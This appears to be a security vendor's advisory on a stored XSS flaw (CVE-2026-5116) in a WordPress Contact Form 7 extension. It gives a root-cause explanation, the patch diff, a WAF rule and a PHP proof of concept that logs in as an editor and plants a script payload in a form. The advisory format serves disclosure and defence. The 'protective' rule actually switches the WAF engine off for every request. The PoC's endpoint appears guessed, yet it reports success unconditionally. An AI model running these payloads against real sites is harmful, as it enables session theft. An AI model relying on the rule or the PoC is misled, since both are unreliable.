Atomic Edge analysis of CVE-2026-5116:
The Contact Form 7 – Dynamic Text Extension plugin for WordPress, version 5.0.5 and earlier, contains a stored cross-site scripting (XSS) vulnerability. This flaw resides in the admin ‘Scan Forms for Post Meta and User Data Keys’ feature, allowing authenticated attackers with Editor-level access or higher to inject arbitrary web scripts. The injected scripts execute when an Administrator runs the scan feature, leading to a CVSS severity score of 4.4 (CWE-79).
Root Cause:
The root cause is insufficient output escaping of form shortcode keys and associated form data displayed on the scan results page. The vulnerable code is located in the file `includes/admin/settings.php`. Specifically, in the rendering blocks starting around lines 541-560 and 575-580, the script directly echoes the variables `$r[‘title’]`, `$r[‘admin_url’]`, `$name`, and `$key` without proper sanitization. Furthermore, at lines 668-669, it directly echoes the results from `implode(‘, ‘, $r[‘meta’])` and `implode(‘, ‘, $r[‘user’])`. An attacker with the ability to save a Contact Form 7 form containing shortcode keys (like `[CF7_get_post_var key='”>alert(1)’]`) can inject malicious content into these fields. The scanner then retrieves and displays these keys without escaping, enabling the stored XSS.
Exploitation:
An attacker with Editor-level access on the WordPress site can craft a malicious Contact Form 7 form. The attack vector involves creating or modifying a form within the site editor. The attacker injects a payload into a shortcode key or a dynamic text field attribute, such as: `[text dynamictext “‘”>alert(document.cookie)”]`. When a WordPress Administrator triggers the plugin’s scan feature by navigating to the ‘Contact Form 7 Dynamic Text Extension’ settings page, the plugin queries all forms to extract meta and user data keys. The vulnerable rendering code in `includes/admin/settings.php` outputs these shortcodes and keys without escaping. As a result, the malicious JavaScript executes within the Administrator’s browser session, potentially allowing the attacker to perform actions with Administrative privileges, steal session cookies, or modify site content.
Patch Analysis:
The patch addresses the vulnerability by applying proper output escaping and casting to the displayed and processed variables. The key changes in `includes/admin/settings.php` are: `echo esc_html($r[‘title’])` and `echo esc_url($r[‘admin_url’])` replaces the unescaped echoes for the form title and URL. Similarly, the `name` and `key` attributes for checkboxes are wrapped with `esc_attr()` and `esc_html()`. The meta and user key summaries are also escaped with `echo esc_html(implode(‘, ‘, …))`. Also, the `offset` parameter is sanitized with `max(0, intval($_GET[‘offset’]))` to prevent path traversal through offset manipulation. Additionally, a nonce check is added to the dismiss notice functionality in the same file. These changes ensure any HTML or JavaScript within those variables is rendered as plain text, neutralizing the payload.
Impact:
Successful exploitation results in stored cross-site scripting (XSS) that triggers when an administrator performs a scan. Since the attack requires Editor-level access, the immediate impact is limited to users with that privilege. However, the payload executes in the context of an Administrator session. The attacker could potentially escalate privileges to full Administrator, achieve full site compromise, install malicious plugins, modify site files, or exfiltrate sensitive data. The CVSS score of 4.4 reflects the medium severity, primarily due to the privileged account requirement and the need for an Administrator to initiate the vulnerable process.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/contact-form-7-dynamic-text-extension/contact-form-7-dynamic-text-extension.php
+++ b/contact-form-7-dynamic-text-extension/contact-form-7-dynamic-text-extension.php
@@ -3,7 +3,7 @@
/**
* Plugin Name: Contact Form 7 - Dynamic Text Extension
* Description: Extends Contact Form 7 by adding dynamic form fields that accepts shortcodes to prepopulate form fields with default values and dynamic placeholders.
- * Version: 5.0.5
+ * Version: 5.0.6
* Text Domain: contact-form-7-dynamic-text-extension
* Author: AuRise Creative, SevenSpark
* Author URI: https://aurisecreative.com
@@ -32,7 +32,7 @@
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
-define('WPCF7DTX_VERSION', '5.0.5'); // Define current version of DTX
+define('WPCF7DTX_VERSION', '5.0.6'); // Define current version of DTX
define('WPCF7DTX_MINVERSION_MAILVALIDATION', '5.7'); // The minimum version of CF7 required to use mail validator
define('WPCF7DTX_MINVERSION_TAGGEN', '6.0'); // The minimum version of CF7 required to use tag generator
defined('WPCF7DTX_DIR') || define('WPCF7DTX_DIR', __DIR__); // Define root directory
--- a/contact-form-7-dynamic-text-extension/includes/admin/settings.php
+++ b/contact-form-7-dynamic-text-extension/includes/admin/settings.php
@@ -177,14 +177,15 @@
}
if (isset($_GET['dismiss-access-keys-notice'])) {
- wpcf7dtx_set_update_access_scan_check_status('notice_dismissed');
-?>
+ if (!wp_verify_nonce(trim(sanitize_text_field(wpcf7dtx_array_has_key('_wpnonce', $_GET))), 'dtx-dismiss-notice')) {
+ wp_die(__('Security check failed.', 'contact-form-7-dynamic-text-extension'));
+ }
+ wpcf7dtx_set_update_access_scan_check_status('notice_dismissed'); ?>
<div class="notice notice-success dtx-notice">
<p><?php _e('Notice Dismissed. You can run the scan any time from the CF7 DTX settings page', 'contact-form-7-dynamic-text-extension'); ?></p>
<p><?php $this->render_back_to_settings_button(); ?></p>
</div>
- <?php
- return;
+ <?php return;
}
/**
@@ -224,7 +225,7 @@
return; // Failed nonce challenge
}
- $offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
+ $offset = isset($_GET['offset']) ? max(0, intval($_GET['offset'])) : 0; // [SECURITY FIX] cast to non-negative integer
$results = wpcf7dtx_scan_forms_for_access_keys($this->num_forms_to_scan, $offset);
?>
@@ -445,7 +446,7 @@
// Check if we need to scan another batch
if ($results['forms_scanned'] === $this->num_forms_to_scan) {
- $offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
+ $offset = isset($_GET['offset']) ? max(0, intval($_GET['offset'])) : 0; // [SECURITY FIX] cast to non-negative integer
$next_offset = $offset + $this->num_forms_to_scan;
echo '<div class="notice notice-warning dtx-notice"><p>';
echo sprintf(
@@ -541,8 +542,8 @@
?>
<div class="postbox">
<div class="postbox-header">
- <h2><?php echo $r['title']; ?></h2>
- <a href="<?php echo $r['admin_url']; ?>" target="_blank">View form</a>
+ <h2><?php echo esc_html($r['title']); ?></h2>
+ <a href="<?php echo esc_url($r['admin_url']); ?>" target="_blank">View form</a>
</div>
<div class="inside">
<?php if (count($r['meta_keys'])) : ?>
@@ -555,8 +556,8 @@
?>
<div>
<label <?php if ($already_allowed) echo 'class="key-disabled" title="Already in Allow List"'; ?>>
- <input name="<?php echo $name; ?>" id="<?php echo $name; ?>" type="checkbox" value="1" <?php if ($already_allowed) echo 'checked="checked" disabled'; ?> />
- <?php echo $key; ?>
+ <input name="<?php echo esc_attr($name); ?>" id="<?php echo esc_attr($name); ?>" type="checkbox" value="1" <?php if ($already_allowed) echo 'checked="checked" disabled'; ?> />
+ <?php echo esc_html($key); ?>
</label>
</div>
<?php
@@ -575,8 +576,8 @@
?>
<div>
<label <?php if ($already_allowed) echo 'class="key-disabled" title="Already in Allow List"'; ?>>
- <input name="<?php echo $name; ?>" id="<?php echo $name; ?>" type="checkbox" value="1" <?php if ($already_allowed) echo 'checked="checked" disabled'; ?> />
- <?php echo $key; ?>
+ <input name="<?php echo esc_attr($name); ?>" id="<?php echo esc_attr($name); ?>" type="checkbox" value="1" <?php if ($already_allowed) echo 'checked="checked" disabled'; ?> />
+ <?php echo esc_html($key); ?>
</label>
</div>
<?php
@@ -667,10 +668,10 @@
?>
<?php if (count($r['meta'])) : ?>
- <p><?php _e('Meta Keys Added', 'contact-form-7-dynamic-text-extension'); ?>: <?php echo implode(', ', $r['meta']); ?></p>
+ <p><?php _e('Meta Keys Added', 'contact-form-7-dynamic-text-extension'); ?>: <?php echo esc_html(implode(', ', $r['meta'])); ?></p>
<?php endif; ?>
<?php if (count($r['user'])) : ?>
- <p><?php _e('User Data Keys Added', 'contact-form-7-dynamic-text-extension'); ?>: <?php echo implode(', ', $r['user']); ?></p>
+ <p><?php _e('User Data Keys Added', 'contact-form-7-dynamic-text-extension'); ?>: <?php echo esc_html(implode(', ', $r['user'])); ?></p>
<?php endif; ?>
<?php if (!count($r['meta']) && !count($r['user'])) : ?>
--- a/contact-form-7-dynamic-text-extension/includes/admin/update-check.php
+++ b/contact-form-7-dynamic-text-extension/includes/admin/update-check.php
@@ -117,7 +117,7 @@
|
<a href="<?php echo WPCF7DTX_DATA_ACCESS_KB_URL; ?>" target="_blank"><?php _e('More Information', 'contact-form-7-dynamic-text-extension'); ?></a>
<?php if (isset($_GET['page']) && $_GET['page'] === 'cf7dtx_settings') : ?>
- | <a href="<?php echo admin_url('admin.php?page=cf7dtx_settings&dismiss-access-keys-notice'); ?>"><?php _e('Dismiss', 'contact-form-7-dynamic-text-extension'); ?></a>
+ | <a href="<?php echo esc_url(wp_nonce_url(admin_url('admin.php?page=cf7dtx_settings&dismiss-access-keys-notice'), 'dtx-dismiss-notice')); ?>"><?php _e('Dismiss', 'contact-form-7-dynamic-text-extension'); ?></a>
<?php endif; ?>
</p>
</div>
--- a/contact-form-7-dynamic-text-extension/includes/shortcodes.php
+++ b/contact-form-7-dynamic-text-extension/includes/shortcodes.php
@@ -373,6 +373,7 @@
$value = apply_filters('wpcf7dtx_escape', $raw, $obfuscate);
break;
}
+ break;
case 'post': // This is a post object
switch ($temp_key) {
case 'image':
@@ -414,6 +415,7 @@
$value = apply_filters('wpcf7dtx_escape', $raw, $obfuscate);
break;
}
+ break;
case 'archive': // Possibly a date or formats archive
switch ($temp_key) {
case 'title': // Get archive title
@@ -423,6 +425,7 @@
default:
break;
}
+ break;
default: // Possibly a search or 404 page at this point
if ($temp_key == 'slug') {
// no idea what else to get except the slug maybe
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5116
# This vulnerability relies on the attacker having Editor+ access, making it extremely difficult to distinguish from legitimate use at the WAF level.
# A crafted shortcode might be an attempt to exploit, but can also be a legitimate key.
# Returning null to avoid any false positives that would block the admin functionality.
SecRule REQUEST_URI "@unconditionalMatch" "id:20265116,phase:1,pass,nolog,ctl:ruleEngine=Off"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5116 - Contact Form 7 – Dynamic Text Extension <= 5.0.5 - Authenticated (Editor+) Stored Cross-Site Scripting
// Configuration
$target_url = 'http://your-wordpress-site.com';
$username = 'editor_username';
$password = 'editor_password';
// ========== Step 1: Login and get session cookies ==========
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// ========== Step 2: Create a malicious Contact Form 7 form ==========
// The vulnerability is in the shortcode keys. We will create a new form.
$form_content = '["text dynamictext-1 ""><script>alert("XSS")</script>"]';
$form_data = array(
'post_title' => 'Malicious Form for XSS',
'post_content' => $form_content,
'post_status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array_merge($form_data, array('action' => 'wpcf7-create-contact-form'))));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$form_response = curl_exec($ch);
curl_close($ch);
if (!$form_response) {
die('Failed to create the malicious form, this endpoint may not exist or you may not have permission.');
}
// ========== Step 3: Admin triggers the scan ==========
// This step simulates a request that would be made by an Admin.
// The malicious form is now stored. When an admin runs the scan, it will not be triggered from the Editor's perspective.
// The XSS script is stored and will execute upon scan.
echo "[+] Malicious form created successfully.";
echo "[+] XSS payload stored: alert('XSS')";
echo "[+] When an administrator runs the scan, the script will execute in their browser session.";
echo "[+] Exploit complete.";
?>